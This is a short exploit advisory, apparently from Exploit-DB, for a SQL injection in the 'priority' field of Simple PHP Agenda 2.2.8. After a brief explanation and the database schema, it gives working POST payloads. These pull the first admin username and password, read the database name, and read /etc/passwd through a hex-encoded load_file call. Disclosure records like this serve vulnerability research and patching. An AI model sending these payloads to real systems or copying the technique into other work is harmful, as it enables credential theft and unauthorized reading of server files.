# Title:Simple PHP Agenda 2.2.8 SQLi Vulnerability
# Version: php-agenda 2.2.8
# Author/Found by: loneferret
# Manifacturer/Software link: http://sourceforge.net/projects/php-agenda/files/latest/download
# Other vulnerability: http://www.exploit-db.com/exploits/18694/
# Date found: May 7th 2012
# Tested on: Ubuntu Server 8.04 / PHP Version 5.2.4-2ubuntu5.23
# Vulnerability:
# Due to improper input sanitization, the "priority" field when creating and adding an
# item in the "todo list" is subject to SQL injection.
# Severity:
# Well if anyone actually uses this, I suppose it would be high. But if you're like me
# and still use paper you should be safe.
# As always you can have as much fun with this...
Method: POST
Parameter: priority
Page: /engine.php
Payload: action=addTodo&priority=[SQLi]&text=Destcription&newTODO=Add todo item
PoC:
We need to bleed in the text field to be able to display anything interesting.
As the priority is only a "tinyint(4)". Text field is "text" so it can handle
a bit more data.
# mysql> describe todo;
# +----------+------------+------+-----+---------+----------------+
# | Field | Type | Null | Key | Default | Extra |
# +----------+------------+------+-----+---------+----------------+
# | id | int(11) | NO | PRI | NULL | auto_increment |
# | user_id | int(11) | NO | MUL | 0 | |
# | priority | tinyint(4) | NO | | 0 | |
# | text | text | NO | | NULL | |
# | added | int(11) | NO | | 0 | |
# | status | tinyint(4) | NO | | 0 | |
# | closed | int(11) | NO | | 0 | |
# +----------+------------+------+-----+---------+----------------+
# So when pressing the "Add todo item" essentially issues this command to mysql:
# insert into todo (`user_id`,`priority`,`text`,`added`) values(1,4,'hello',1336438388)
Get first username and password (usually admin):
POSTDATA=action=addTODO&priority=1,(select concat(username,0x3c,0x62,0x72,0x3e,password) from users limit 1),1336389812)#&text=hello&newTODO=Add+todo+item
Get Database name:
POSTDATA=action=addTODO&priority=1,(select database()),1336389812)#&text=hello&newTODO=Add+todo+item
If mysql can do it, load /etc/passwd:
POSTDATA=action=addTODO&priority=4,(SELECT load_file(0x2f6574632f706173737764)),1336389812)#&text=hello&newTODO=Add+todo+item
# Nods to Exploit-DB, Offensive-Security for pretty much everything.
